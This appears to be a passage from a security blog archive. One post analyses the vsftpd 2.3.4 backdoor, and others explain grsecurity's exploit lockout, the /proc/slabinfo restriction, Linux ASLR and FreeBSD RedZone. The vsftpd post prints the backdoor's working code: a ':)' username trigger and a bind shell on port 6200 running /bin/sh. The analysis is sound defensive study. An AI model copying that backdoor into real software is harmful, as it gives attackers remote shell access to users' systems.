text:
Archive for the 'security' Category
vsftpd 2.3.4 Backdoor
This was a recent discovery by Chris Evans and you can read more details in his blog post available here. Furthermore, you can find information about this incident at The H Open as well as LWN.net websites.
So, the backdoor affects specifically 2.3.4 version of the popular FTP daemon and can be found in str.c file which contains code for handling the string manipulation routines.
int str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str) { static struct mystr s_curr_line_str; unsigned int pos = 0; while (str_getline(p_str, &s_curr_line_str, &pos)) { if (str_equal(&s_curr_line_str, p_line_str)) { return 1; } else if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29)) { vsf_sysutil_extra(); } } return 0; }
Quite obvious. While parsing the received string values, if the string begins with "\x3A\x29" which in ASCII translates to ':)' (a smiley face), it will invoke vsf_sysutil_extra().
This backdoor function was placed in sysdeputil.c file and looks like this:
int vsf_sysutil_extra(void) { int fd, rfd; struct sockaddr_in sa; if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) exit(1); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(6200); sa.sin_addr.s_addr = INADDR_ANY; if((bind(fd,(struct sockaddr *)&sa, sizeof(struct sockaddr))) < 0) exit(1); if((listen(fd, 100)) == -1) exit(1); for(;;) { rfd = accept(fd, 0, 0); close(0); close(1); close(2); dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2); execl("/bin/sh","sh",(char *)0); } }
It simply opens a new TCP socket listening on port 6200 that will spawn a shell when connected to this port.
So, by using the ':)' as username the attackers were able to trigger this backdoor in vsftpd 2.3.4.
GRKERNSEC_KERN_LOCKOUT Active Kernel Exploit Response
This is a brand new feature of "Address Space Protection" that grsecurity offers. Its configuration option is very clear and it is implemented by adding just two new routines in the existing patch.
config GRKERNSEC_KERN_LOCKOUT bool "Active kernel exploit response" depends on X86 help If you say Y here, when a PaX alert is triggered due to suspicious activity in the kernel (from KERNEXEC/UDEREF/USERCOPY) or an OOPs occurs due to bad memory accesses, instead of just terminating the offending process (and potentially allowing a subsequent exploit from the same user), we will take one of two actions: If the user was root, we will panic the system If the user was non-root, we will log the attempt, terminate all processes owned by the user, then prevent them from creating any new processes until the system is restarted This deters repeated kernel exploitation/bruteforcing attempts and is useful for later forensics.
First of all, the 'user_struct' at include/linux/sched.h was updated to include two new members that will be used to keep track of the banned users. Here is the code snippet that shows the newly added members.
/* * Some day this will be a full-fledged user tracking system.. */ struct user_struct { ... struct key *session_keyring; /* UID's default session keyring */ #endif #if defined(CONFIG_GRKERNSEC_KERN_LOCKOUT) || defined(CONFIG_GRKERNSEC_BRUTE) unsigned int banned; unsigned long ban_expires; #endif ... };
Next we can have a look at grsecurity/grsec_sig.c to see the first function which is responsible for handling the banned users.
int gr_process_user_ban(void) { #if defined(CONFIG_GRKERNSEC_KERN_LOCKOUT) || defined(CONFIG_GRKERNSEC_BRUTE) if (unlikely(current->cred->user->banned)) { struct user_struct *user = current->cred->user; if (user->ban_expires != ~0UL && time_after_eq(get_seconds(), user->ban_expires)) { user->banned = 0; user->ban_expires = 0; free_uid(user); } else return -EPERM; } #endif return 0; }
What it does is checking if the user is banned and if this is the case, wait for 'user->ban_expires' to reset its status. Of course, this does not apply to users with values of '~0UL' in 'ban_expires' variable. Those users will be banned until the system is restarted.
The next routine also located in the same source code file is this one.
void gr_handle_kernel_exploit(void) { #ifdef CONFIG_GRKERNSEC_KERN_LOCKOUT const struct cred *cred; struct task_struct *tsk, *tsk2; struct user_struct *user; uid_t uid; if (in_irq() || in_serving_softirq() || in_nmi()) panic("grsec: halting the system due to suspicious kernel crash caused in interrupt context"); uid = current_uid(); if (uid == 0) panic("grsec: halting the system due to suspicious kernel crash caused by root"); else { /* kill all the processes of this user, hold a reference to their creds struct, and prevent them from creating another process until system reset */ printk(KERN_ALERT "grsec: banning user with uid %u until system restart for suspicious kernel crash\n", uid); /* we intentionally leak this ref */ user = get_uid(current->cred->user); if (user) { user->banned = 1; user->ban_expires = ~0UL; } read_lock(&tasklist_lock); do_each_thread(tsk2, tsk) { cred = __task_cred(tsk); if (cred->uid == uid) gr_fake_force_sig(SIGKILL, tsk); } while_each_thread(tsk2, tsk); read_unlock(&tasklist_lock); } #endif }
So, if this is called in the context of an interrupt (IRQ, SoftIRQ or NMI) or the current user is root, it will immediately invoke panic() to halt the system and avoid any possible further exploitation of a kernel vulnerability. In any other case it will log the event and ban that user by updating the 'user->banned' and 'user->ban_expires' members of the 'user_struct' structure. The final 'while_each_thread' loop will use gr_fake_force_sig() which is shown below to terminate (by sending kill signal) every task owned by the user who triggered the event.
#ifdef CONFIG_GRKERNSEC extern int specific_send_sig_info(int sig, struct siginfo *info, struct task_struct *t); int gr_fake_force_sig(int sig, struct task_struct *t) { unsigned long int flags; int ret, blocked, ignored; struct k_sigaction *action; spin_lock_irqsave(&t->sighand->siglock, flags); action = &t->sighand->action[sig-1]; ignored = action->sa.sa_handler == SIG_IGN; blocked = sigismember(&t->blocked, sig); if (blocked || ignored) { action->sa.sa_handler = SIG_DFL; if (blocked) { sigdelset(&t->blocked, sig); recalc_sigpending_and_wake(t); } } if (action->sa.sa_handler == SIG_DFL) t->signal->flags &= ~SIGNAL_UNKILLABLE; ret = specific_send_sig_info(sig, SEND_SIG_PRIV, t); spin_unlock_irqrestore(&t->sighand->siglock, flags); return ret; } #endif
This routine will send the requested signal to the process.
So, now to the actual patching, the first patched code is the __kprobes oops_end() routine located at arch/x86/kernel/dumpstack.c file.
void __kprobes oops_end(unsigned long flags, struct pt_regs *regs, int signr) { ... if (panic_on_oops) panic("Fatal exception"); gr_handle_kernel_exploit(); do_group_exit(signr); }
This is triggered at the last step of a kernel OOPS. Consequently, it's an ideal location to place this protection. Next we have the 'execve' routines that are invoked for spawning new processes. Specifically, the compat_do_execve() you see here from fs/compat.c file.
/* * compat_do_execve() is mostly a copy of do_execve(), with the exception * that it processes 32 bit argv and envp pointers. */ int compat_do_execve(char * filename, compat_uptr_t __user *argv, compat_uptr_t __user *envp, struct pt_regs * regs) { ... bprm->interp = filename; if (gr_process_user_ban()) { retval = -EPERM; goto out_file; } ... out_ret: return retval; }
Which is where it checks if the user is banned. Of course, similar check is also included in the do_execve() system call from fs/exec.c.
/* * sys_execve() executes a new program. */ int do_execve(const char * filename, const char __user *const __user *argv, const char __user *const __user *envp, struct pt_regs * regs) { ... bprm->interp = filename; if (gr_process_user_ban()) { retval = -EPERM; goto out_file; } ... out_ret: return retval; }
Finally, the pax_report_usercopy() is updated to handle the possible attacks using the new locking-out feature.
void pax_report_usercopy(const void *ptr, unsigned long len, bool to, const char *type) { if (current->signal->curr_ip) printk(KERN_ERR "PAX: From %pI4: kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n", ¤t->signal->curr_ip, to ? "leak" : "overwrite", to ? "from" : "to", ptr, type ? : "unknown", len); else printk(KERN_ERR "PAX: kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n", to ? "leak" : "overwrite", to ? "from" : "to", ptr, type ? : "unknown", len); dump_stack(); gr_handle_kernel_exploit(); do_group_exit(SIGKILL); }
Linux kernel /proc/slabinfo Protection
Recently, Dan Rosenberg committed this patch to the Linux kernel. The patch affects SLAB and SLUB allocators by changing the permissions of the '/proc/slabinfo' file in slab_proc_init() for SLAB.
static int __init slab_proc_init(void) { - proc_create("slabinfo",S_IWUSR|S_IRUGO,NULL,&proc_slabinfo_operations); + proc_create("slabinfo", S_IWUSR|S_IRUSR, NULL, + &proc_slabinfo_operations); #ifdef CONFIG_DEBUG_SLAB_LEAK
As well as in the equivalent slab_proc_init() for SLUB.
static int __init slab_proc_init(void) { - proc_create("slabinfo", S_IRUGO, NULL, &proc_slabinfo_operations); + proc_create("slabinfo", S_IRUSR, NULL, &proc_slabinfo_operations); return 0; }
The concept behind this is something quite simple which was previously implemented in grsecurity (check out GRKERNSEC_PROC_ADD) by spender. Almost anyone who has ever developed a kernel heap exploit for the Linux kernel knows that using '/proc/slabinfo' you can easily track the status of the SLAB you are corrupting.
This patch limits the reliability of Linux kernel heap exploitation since unprivileged users can no longer read this PROCFS file.
Linux kernel ASLR Implementation
Since June 2005 (specifically 2.6.12), Linux kernel has build-in ASLR (Address space Layout Randomization) support. In this post I'm trying to give a brief description of how this is implemented. However, I will be focusing more to the x86 architecture since this protection mechanism leads to some architecture dependent issues.
Random Number Generation
The PRNG used for ASLR of Linux kernel is the get_random_int() routine as we'll see later in this post. This function is located at drivers/char/random.c file and it is shown below.
static struct keydata { __u32 count; /* already shifted to the final position */ __u32 secret[12]; } ____cacheline_aligned ip_keydata[2]; ... /* * Get a random word for internal kernel use only. Similar to urandom but * with the goal of minimal entropy pool depletion. As a result, the random * value is not cryptographically secure but for several uses the cost of * depleting entropy is too high */ DEFINE_PER_CPU(__u32 [4], get_random_int_hash); unsigned int get_random_int(void) { struct keydata *keyptr; __u32 *hash = get_cpu_var(get_random_int_hash); int ret; keyptr = get_keyptr(); hash[0] += current->pid + jiffies + get_cycles(); ret = half_md4_transform(hash, keyptr->secret); put_cpu_var(get_random_int_hash); return ret; }
After defining some per-processor values, it uses the get_cpu_var()/put_cpu_var() C macros to get and store the random hash to the processor specific array. This is leaving us with get_keyptr() which initializes the 'keydata' structure and the actual random number generation.
The 'keydata' initialization is performed using this C function:
static struct keydata { __u32 count; /* already shifted to the final position */ __u32 secret[12]; } ____cacheline_aligned ip_keydata[2]; static unsigned int ip_cnt; ... static inline struct keydata *get_keyptr(void) { struct keydata *keyptr = &ip_keydata[ip_cnt & 1]; smp_rmb(); return keyptr; }
The smp_rmb() macro is defined in arch/x86/include/asm/system.h header file for the x86 architecture and it stands for Read Memory Barrier.
/* * Force strict CPU ordering. * And yes, this is required on UP too when we're talking * to devices. */ #ifdef CONFIG_X86_32 /* * Some non-Intel clones support out of order store. wmb() ceases to be a * nop for these. */ #define mb() alternative("lock; addl $0,0(%%esp)", "mfence", X86_FEATURE_XMM2) #define rmb() alternative("lock; addl $0,0(%%esp)", "lfence", X86_FEATURE_XMM2) #define wmb() alternative("lock; addl $0,0(%%esp)", "sfence", X86_FEATURE_XMM) #else #define mb() asm volatile("mfence":::"memory") #define rmb() asm volatile("lfence":::"memory") #define wmb() asm volatile("sfence" ::: "memory") #endif ... #ifdef CONFIG_SMP #define smp_mb() mb() #ifdef CONFIG_X86_PPRO_FENCE # define smp_rmb() rmb() #else # define smp_rmb() barrier() #endif
This is used to flush any pending read that subsequent reads depend on. As we can read in the same header file:
* No data-dependent reads from memory-like regions are ever reordered * over this barrier. All reads preceding this primitive are guaranteed * to access memory (but not necessarily other CPUs' caches) before any * reads following this primitive that depend on the data return by * any of the preceding reads. This primitive is much lighter weight than * rmb() on most CPUs, and is never heavier weight than is * rmb(). * * These ordering constraints are respected by both the local CPU * and the compiler. * * Ordering is not guaranteed by anything other than these primitives, * not even by data dependencies. See the documentation for * memory_barrier() for examples and URLs to more information.
This ensures that 'keyptr' initialization doesn't get reordered and back to get_random_int() we can now have a look at the exact random number generation code. According to:
hash[0] += current->pid + jiffies + get_cycles()
We have four different variables being involved. Those are:
– The address of the first element of the 'hash[0]' array
– The currently executing process ID for the processor that handles this
– The system's jiffies value
– CPU cycles number
The last variable is derived from get_cycles() inline function that is defined at arch/x86/include/asm/tsc.h for the x86 architecture.
static inline cycles_t get_cycles(void) { unsigned long long ret = 0; #ifndef CONFIG_X86_TSC if (!cpu_has_tsc) return 0; #endif rdtscll(ret); return ret; }
This means that if the processor supports rdtsc instruction it will jump to arch/x86/include/asm/msr.h header file to execute the following C macro:
static __always_inline unsigned long long __native_read_tsc(void) { DECLARE_ARGS(val, low, high); asm volatile("rdtsc" : EAX_EDX_RET(val, low, high)); return EAX_EDX_VAL(val, low, high); } ... #define rdtscll(val) \ ((val) = __native_read_tsc())
Which basically, simply executes the rdtsc instruction.
Back to get_random_int() we can see that even though there are a lot of difficult to guess variables being used to generate that pseudo-random integer, it also calls half_md4_transform() which is defined at lib/halfmd4.c and it implements a basic MD4 algorithm.
/* F, G and H are basic MD4 functions: selection, majority, parity */ #define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z)))) #define G(x, y, z) (((x) & (y)) + (((x) ^ (y)) & (z))) #define H(x, y, z) ((x) ^ (y) ^ (z)) ... #define ROUND(f, a, b, c, d, x, s) \ (a += f(b, c, d) + x, a = (a << s) | (a >> (32 - s))) #define K1 0 #define K2 013240474631UL #define K3 015666365641UL ... __u32 half_md4_transform(__u32 buf[4], __u32 const in[8]) { __u32 a = buf[0], b = buf[1], c = buf[2], d = buf[3]; /* Round 1 */ ROUND(F, a, b, c, d, in[0] + K1, 3); ROUND(F, d, a, b, c, in[1] + K1, 7); ROUND(F, c, d, a, b, in[2] + K1, 11); ROUND(F, b, c, d, a, in[3] + K1, 19); ROUND(F, a, b, c, d, in[4] + K1, 3); ROUND(F, d, a, b, c, in[5] + K1, 7); ROUND(F, c, d, a, b, in[6] + K1, 11); ROUND(F, b, c, d, a, in[7] + K1, 19); /* Round 2 */ ROUND(G, a, b, c, d, in[1] + K2, 3); ROUND(G, d, a, b, c, in[3] + K2, 5); ROUND(G, c, d, a, b, in[5] + K2, 9); ROUND(G, b, c, d, a, in[7] + K2, 13); ROUND(G, a, b, c, d, in[0] + K2, 3); ROUND(G, d, a, b, c, in[2] + K2, 5); ROUND(G, c, d, a, b, in[4] + K2, 9); ROUND(G, b, c, d, a, in[6] + K2, 13); /* Round 3 */ ROUND(H, a, b, c, d, in[3] + K3, 3); ROUND(H, d, a, b, c, in[7] + K3, 9); ROUND(H, c, d, a, b, in[2] + K3, 11); ROUND(H, b, c, d, a, in[6] + K3, 15); ROUND(H, a, b, c, d, in[1] + K3, 3); ROUND(H, d, a, b, c, in[5] + K3, 9); ROUND(H, c, d, a, b, in[0] + K3, 11); ROUND(H, b, c, d, a, in[4] + K3, 15); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; return buf[1]; /* "most hashed" word */ }
This makes things even more complex for anyone attempting to guess the resulted integer. Now that we have a basic understanding of the pseudo-random number generation routine utilized by the Linux ASLR implementation we can move on to the actual code that uses this.
brk(2) Randomization
At the fs/binfmt_elf.c is where the Linux kernel's ELF loader is located. The routine that loads the actual executable binary file is the load_elf_binary() which among others includes the following code.
static int load_elf_binary(struct linux_binprm *bprm, struct pt_regs *regs) { struct file *interpreter = NULL; /* to shut gcc up */ unsigned long load_addr = 0, load_bias = 0; ... #ifdef arch_randomize_brk if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) current->mm->brk = current->mm->start_brk = arch_randomize_brk(current->mm); #endif ... out_free_ph: kfree(elf_phdata); goto out; }
This means that if the 'arch_randomize_brk' is defined it will check if the current process should have a randomized virtual address space using 'PF_RANDOMIZE' flag as well as if the 'randomize_va_space' is greater than 1. If this is the case, it will update its current starting data segment address using the return address of arch_randomize_brk().
The latter routine can be found at arch/x86/kernel/process.c for the x86 family.
unsigned long arch_randomize_brk(struct mm_struct *mm) { unsigned long range_end = mm->brk + 0x02000000; return randomize_range(mm->brk, range_end, 0) ? : mm->brk; }
It calculates the end of the data segment by adding 0x02000000 to the starting address and then calling randomize_range() to randomize the given address space. This randomization routine is also placed in drivers/char/random.c and you can see it here:
/* * randomize_range() returns a start address such that * * [...... <range> .....] * start end * * a <range> with size "len" starting at the return value is inside in the * area defined by [start, end], but is otherwise randomized. */ unsigned long randomize_range(unsigned long start, unsigned long end, unsigned long len) { unsigned long range = end - len - start; if (end <= start + len) return 0; return PAGE_ALIGN(get_random_int() % range + start); }
If the range is correct, it will invoke get_random_int() using the starting address and of course, the resulted value is aligned to the next page boundary as this is defined by the 'PAGE_SIZE' constant.
SYSCTL Interface
In the previous section we encountered a variable named 'randomize_va_space'. As almost any Linux administrator knows, the Linux ASLR can be tuned using the '/proc/sys/vm/randomize_va_space' or 'kernel.randomize_va_space' SYSCTL variable. In both cases the result is passing an integer value to the kernel as we can read at kernel/sysctl.c which is where this is defined.
static struct ctl_table kern_table[] = { ... #if defined(CONFIG_MMU) { .procname = "randomize_va_space", .data = &randomize_va_space, .maxlen = sizeof(int), .mode = 0644, .proc_handler = proc_dointvec, }, #endif ... /* * NOTE: do not add new entries to this table unless you have read * Documentation/sysctl/ctl_unnumbered.txt */ { } };
The actual variable 'randomize_va_space' is placed in mm/memory.c as shown below.
/* * Randomize the address space (stacks, mmaps, brk, etc.). * * ( When CONFIG_COMPAT_BRK=y we exclude brk from randomization, * as ancient (libc5 based) binaries can segfault. ) */ int randomize_va_space __read_mostly = #ifdef CONFIG_COMPAT_BRK 1; #else 2; #endif
Here, the '__read_mostly' modifier is an architecture specific attribute which in case of x86 processors is defined in arch/x86/include/asm/cache.h header file.
#define __read_mostly __attribute__((__section__(".data..read_mostly")))
This forces the variable to be placed in a section called .data.read_mostly that is designed for static variables which are initialized once and very rarely changed.
From the kernel developers' comment we can also see that if the compatibility support option for brk(2) system call is enabled, it will not randomize it since it could break old versions of C library. Additionally, this variable is defined in SYSCTL's kernel table as we can find at kernel/sysctl_binary.c file.
static const struct bin_table bin_kern_table[] = { ... { CTL_INT, KERN_RANDOMIZE, "randomize_va_space" }, ... {} };
Which uses the 'KERN_RANDOMIZE' value as this was defined in include/linux/sysctl.h header file.
/* CTL_KERN names: */ enum { ... KERN_RANDOMIZE=68, /* int: randomize virtual address space */ ... };
Now that we have a basic understanding of what is going on in the kernel when manipulating that variable through SYSCTL interface, we can move to the more interesting parts…
Stack Randomization
The actual stack randomization takes place in fs/exec.c and more specifically in the setup_arg_pages() routine which is responsible for the final stage of stack initialization before executing a binary. Here is a code snippet that demonstrates how the stack randomization is implemented…
/* * Finalizes the stack vm_area_struct. The flags and permissions are updated, * the stack is optionally relocated, and some extra space is added. */ int setup_arg_pages(struct linux_binprm *bprm, unsigned long stack_top, int executable_stack) { ... #ifdef CONFIG_STACK_GROWSUP ... #else stack_top = arch_align_stack(stack_top); stack_top = PAGE_ALIGN(stack_top); ... out_unlock: up_write(&mm->mmap_sem); return ret; }
If the stack segment does not grow upwards, it will use arch_align_stack() passing the stack top address which was an argument of setup_arg_pages() routine. Then it will align the returned value in a page boundary and continue with the stack segment setup. Assuming that we're dealing with an x86 architecture, the initial function call will lead to arch/x86/kernel/process.c file where we can find the following code.
unsigned long arch_align_stack(unsigned long sp) { if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space) sp -= get_random_int() % 8192; return sp & ~0xf; }
The check is fairly simple. If the currently executed task doesn't have 'ADDR_NO_RANDOMIZE' personality set which is used to disable the randomization and the 'randomize_va_space' has a non-zero value, it will invoke get_random_int() to perform the stack randomization. Before moving on, for completeness here is the include/linux/personality.h header file's definition of the above personality constant value.
/* * Flags for bug emulation. * * These occupy the top three bytes. */ enum { ADDR_NO_RANDOMIZE = 0x0040000, /* disable randomization of VA space */ ... };
Back to arch_align_stack(), after decrementing the stack pointer with the random number in case of an ASLR supported task, it'll align it by masking it with 0xfffffff0 on 32-bit processors. However, a quick look in fs/binfmt_elf.c shows that this is not that simple since this is how it's implemented in the ELF loader's code…
static int load_elf_binary(struct linux_binprm *bprm, struct pt_regs *regs) { struct file *interpreter = NULL; /* to shut gcc up */ ... /* Do this so that we can load the interpreter, if need be. We will change some of these later */ current->mm->free_area_cache = current->mm->mmap_base; current->mm->cached_hole_size = 0; retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), executable_stack); ... goto out; }
We can see here that it passes a randomized stack top pointer using the randomize_stack_top() routine from the same source code file.
#ifndef STACK_RND_MASK #define STACK_RND_MASK (0x7ff >> (PAGE_SHIFT - 12)) /* 8MB of VA */ #endif static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } #ifdef CONFIG_STACK_GROWSUP return PAGE_ALIGN(stack_top) + random_variable; #else return PAGE_ALIGN(stack_top) - random_variable; #endif }
Once again, the current process won't be randomized if it doesn't have 'PF_RANDOMIZE' flag and it has 'ADDR_NO_RANDOMIZE' personality set. Otherwise, it will use get_random_int() as well as the 'STACK_RND_MASK' to mask the returned integer. Although you see the definition of the latter constant in the given code snippet, it is originally defined in the architecture specific arch/x86/include/asm/elf.h header file.
#ifdef CONFIG_X86_32 #define STACK_RND_MASK (0x7ff)
This is pretty much the stack ASLR implementation of Linux.
mmap(2) Randomization
Before we dive into the mmap(2) randomization itself, what happens with mmap(2) allocations colliding with the randomized stack space?
So, to avoid such collisions with the stack randomized virtual address space, Linux kernel developers implemented the following routine in arch/x86/mm/mmap.c file.
static unsigned int stack_maxrandom_size(void) { unsigned int max = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT; } return max; } /* * Top of mmap area (just below the process stack). * * Leave an at least ~128 MB hole with possible stack randomization. */ #define MIN_GAP (128*1024*1024UL + stack_maxrandom_size()) #define MAX_GAP (TASK_SIZE/6*5)
After performing the usual checks on the currently executing task, it calculates the maximum randomized address based on the 'STACK_RND_MASK' value. Later on, inside mmap_base() we can see how the above C macros are used to ensure it doesn't collide with the randomized space.
static unsigned long mmap_base(void) { unsigned long gap = rlimit(RLIMIT_STACK); if (gap < MIN_GAP) gap = MIN_GAP; else if (gap > MAX_GAP) gap = MAX_GAP; return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd()); }
Here is also our first contact with the mmap(2) randomization routine which is, of course, through mmap_rnd(). This one is placed in arch/x86/mm/mmap.c and its code is this:
static unsigned long mmap_rnd(void) { unsigned long rnd = 0; /* * 8 bits of randomness in 32bit mmaps, 20 address space bits * 28 bits of randomness in 64bit mmaps, 40 address space bits */ if (current->flags & PF_RANDOMIZE) { if (mmap_is_ia32()) rnd = (long)get_random_int() % (1<<8); else rnd = (long)(get_random_int() % (1<<28)); } return rnd << PAGE_SHIFT; }
Which is pretty self-explanatory code.
So, I believe this post should give readers a grasp on how Linux ASLR is implemented. I used 2.6.36 version of the Linux kernel so this might be useless for future releases but for now it is up-to-date. Any comments, corrections or suggestions are always welcome.
FreeBSD Red Zone – Kernel Buffer Corruption Detector
Since FreeBSD 7.0 this feature named "RedZone" is implemented inside the operating system's kernel to detect buffer underflow and overflow bugs in kernel at run-time. It was developed and maintained by Pawel Jakub Dawidek and it's placed in vm/redzone.c and vm/redzone.h in the FreeBSD's kernel code.
The SYSCTL Interface
As you've probably read from the man page link I gave above, this can be tuned through 'vm.redzone.panic' and 'vm.redzone.extra_mem' SYSCTL variables. Inside vm/redzone.c we can find this:
SYSCTL_NODE(_vm, OID_AUTO, redzone, CTLFLAG_RW, NULL, "RedZone data"); static u_long redzone_extra_mem = 0; SYSCTL_ULONG(_vm_redzone, OID_AUTO, extra_mem, CTLFLAG_RD, &redzone_extra_mem, 0, "Extra memory allocated by redzone"); static int redzone_panic = 0; TUNABLE_INT("vm.redzone.panic", &redzone_panic); SYSCTL_INT(_vm_redzone, OID_AUTO, panic, CTLFLAG_RW, &redzone_panic, 0, "Panic when buffer corruption is detected");
Which shows what variables are changed from the kernel's perspective using those SYSCTL variables. This isn't really important but for completeness I decided to add it.
Setting Up a Red Zone
The code responsible for initializing a red-zone is inside redzone_setup() function which is shown below.
#define REDZONE_CHSIZE (16) #define REDZONE_CFSIZE (16) ... /* * Set redzones and remember allocation backtrace. */ void * redzone_setup(caddr_t raddr, u_long nsize) { struct stack st; caddr_t haddr, faddr; atomic_add_long(&redzone_extra_mem, redzone_size_ntor(nsize) - nsize); haddr = raddr + redzone_roundup(nsize) - REDZONE_HSIZE; faddr = haddr + REDZONE_HSIZE + nsize; /* Redzone header. */ stack_save(&st); bcopy(&st, haddr, sizeof(st)); haddr += sizeof(st); bcopy(&nsize, haddr, sizeof(nsize)); haddr += sizeof(nsize); memset(haddr, 0x42, REDZONE_CHSIZE); haddr += REDZONE_CHSIZE; /* Redzone footer. */ memset(faddr, 0x42, REDZONE_CFSIZE); return (haddr); }
The algorithm here is fairly simple, after updating 'redzone_extra_mem' with the new size using atomic_add_long(), it initializes 'haddr' (header address) and 'faddr' (footer address) to point to the beginning and the end of the new space respectively. The current stack is placed in the header address followed by allocation size represented by 'nsize' unsigned long integer.
#define STACK_MAX 18 /* Don't change, stack_ktr relies on this. */ struct stack { int depth; vm_offset_t pcs[STACK_MAX]; };
The rest of the header and footer space are filled with '0x42' (which is the equivalent hexadecimal value of ASCII character 'B'). So, with this knowledge we can now understand that a red-zone in FreeBSD looks like this:
+--------------------+ <--- Header | | | Current Stack | | | +--------------------+ <--- Header + sizeof(stack) | | | Allocation size | | | +--------------------+ <--- Header + nsize | BBBBBBBBBB | | BBBBBB | | | +--------------------+ <--- Footer | BBBBBBBBBB | | BBBBBB | | | +--------------------+ <--- Footer + REDZONE_CFSIZE
Red-Zone Checks
To check if a red-zone was corrupted which almost certainly means that an overflow occurred in a buffer close to it, redzone_check() function is used. Its argument is the address of the allocated space after the redzone and that's why it will initially subtract the redzone's header size to read its data and store it in some local variables as you can see in this code snippet:
/* * Verify redzones. * This function is called on free() and realloc(). */ void redzone_check(caddr_t naddr) { struct stack ast, fst; caddr_t haddr, faddr; u_int ncorruptions; u_long nsize; int i; haddr = naddr - REDZONE_HSIZE; bcopy(haddr, &ast, sizeof(ast)); haddr += sizeof(ast); bcopy(haddr, &nsize, sizeof(nsize)); haddr += sizeof(nsize); atomic_subtract_long(&redzone_extra_mem, redzone_size_ntor(nsize) - nsize);
Then, we can find a simple 'for' loop that will iterate for the header part of the redzone to ensure that no 0x42 entries where altered.
/* Look for buffer underflow. */ ncorruptions = 0; for (i = 0; i < REDZONE_CHSIZE; i++, haddr++) { if (*(u_char *)haddr != 0x42) ncorruptions++; }
However, if one or more altered/corrupted Bytes where discovered it will result in executing the next part.
if (ncorruptions > 0) { printf("REDZONE: Buffer underflow detected. %u byte%s " "corrupted before %p (%lu bytes allocated).\n", ncorruptions, ncorruptions == 1 ? "" : "s", naddr, nsize); printf("Allocation backtrace:\n"); stack_print_ddb(&ast); printf("Free backtrace:\n"); stack_save(&fst); stack_print_ddb(&fst); if (redzone_panic) panic("Stopping here."); }
Which might panic the system (depends on the 'redzone_panic' constant which by default is set to 0 but it can be tuned using the SYSCTL interface) but before doing this, it will give a complete stack-trace that could help in detecting the bug. The next part of redzone_check() does the exact same task for the footer.
faddr = naddr + nsize; /* Look for buffer overflow. */ ncorruptions = 0; for (i = 0; i < REDZONE_CFSIZE; i++, faddr++) { if (*(u_char *)faddr != 0x42) ncorruptions++; }
Once again, in case of one or more corrupted Bytes the result will be a complete stack-trace and depending on the 'redzone_panic' value, a system panic.
if (ncorruptions > 0) { printf("REDZONE: Buffer overflow detected. %u byte%s corrupted " "after %p (%lu bytes allocated).\n", ncorruptions, ncorruptions == 1 ? "" : "s", naddr + nsize, nsize); printf("Allocation backtrace:\n"); stack_print_ddb(&ast); printf("Free backtrace:\n"); stack_save(&fst); stack_print_ddb(&fst); if (redzone_panic) panic("Stopping here."); } }
Red-Zone in FreeBSD's code
The last step is to see how those routines are utilized in kernel memory allocation functions to provide the buffer overflow detection feature. All of the code snippets below are part of the kern/kern_malloc.c file which implements the kernel's dynamic memory allocation mechanism of FreeBSD. The setup of each redzone is part of kernel's malloc() function.
void * malloc(unsigned long size, struct malloc_type *mtp, int flags) { int indx; struct malloc_type_internal *mtip; caddr_t va; uma_zone_t zone; #if defined(DIAGNOSTIC) || defined(DEBUG_REDZONE) unsigned long osize = size; #endif ... #ifdef DEBUG_REDZONE size = redzone_size_ntor(size); #endif if (size <= KMEM_ZMAX) { ... #ifdef DEBUG_REDZONE if (va != NULL) va = redzone_setup(va, osize); #endif return ((void *) va); }
If the kernel is compiled with 'DEBUG_REDZONE' enabled, it will use the redzone_ntor_size() routine to calculate the allocation size and before returning the newly allocated VA space it will pass it to redzone_setup() in order to initialize a new red-zone for it.
The checks as you might have guessed are performed in free() since realloc() also results in calling free as you can see here:
void * realloc(void *addr, unsigned long size, struct malloc_type *mtp, int flags) { uma_slab_t slab; unsigned long alloc; void *newaddr; ... #ifdef DEBUG_REDZONE slab = NULL; alloc = redzone_get_size(addr); #else slab = vtoslab((vm_offset_t)addr & ~(UMA_SLAB_MASK)); ... /* Copy over original contents */ bcopy(addr, newaddr, min(size, alloc)); free(addr, mtp); return (newaddr); }
Which by the end of the function frees the old memory space before returning the newly allocated one. The call to free() leads to the actual redzone check.
void free(void *addr, struct malloc_type *mtp) { uma_slab_t slab; u_long size; ... #ifdef DEBUG_REDZONE redzone_check(addr); addr = redzone_addr_ntor(addr); #endif ... malloc_type_freed(mtp, size); }
So, it will check that there was no corruption in the red-zone that protected the space to be freed.
Although bypassing this this quite straightforward I won't discuss it since there is no public resource demonstrating it and I always write only for information that is already publicly available.
Introduction to Linux Security Modules (LSM)
In this post I'll give a brief explanation of how "Linux Security Modules" feature is implemented in the kernel. First of all this is a clever abstraction layer which allows different security modules to be safely loaded and unloaded without messing with the kernel's code directly.
The code snippets were taken from 2.6.36 release of the Linux kernel. However, the original implementation was developed in 2001.
Hooking and Capabilities
A look in include/linux/security.h reveals a huge structure of function pointers. A snippet of that structure is shown below.
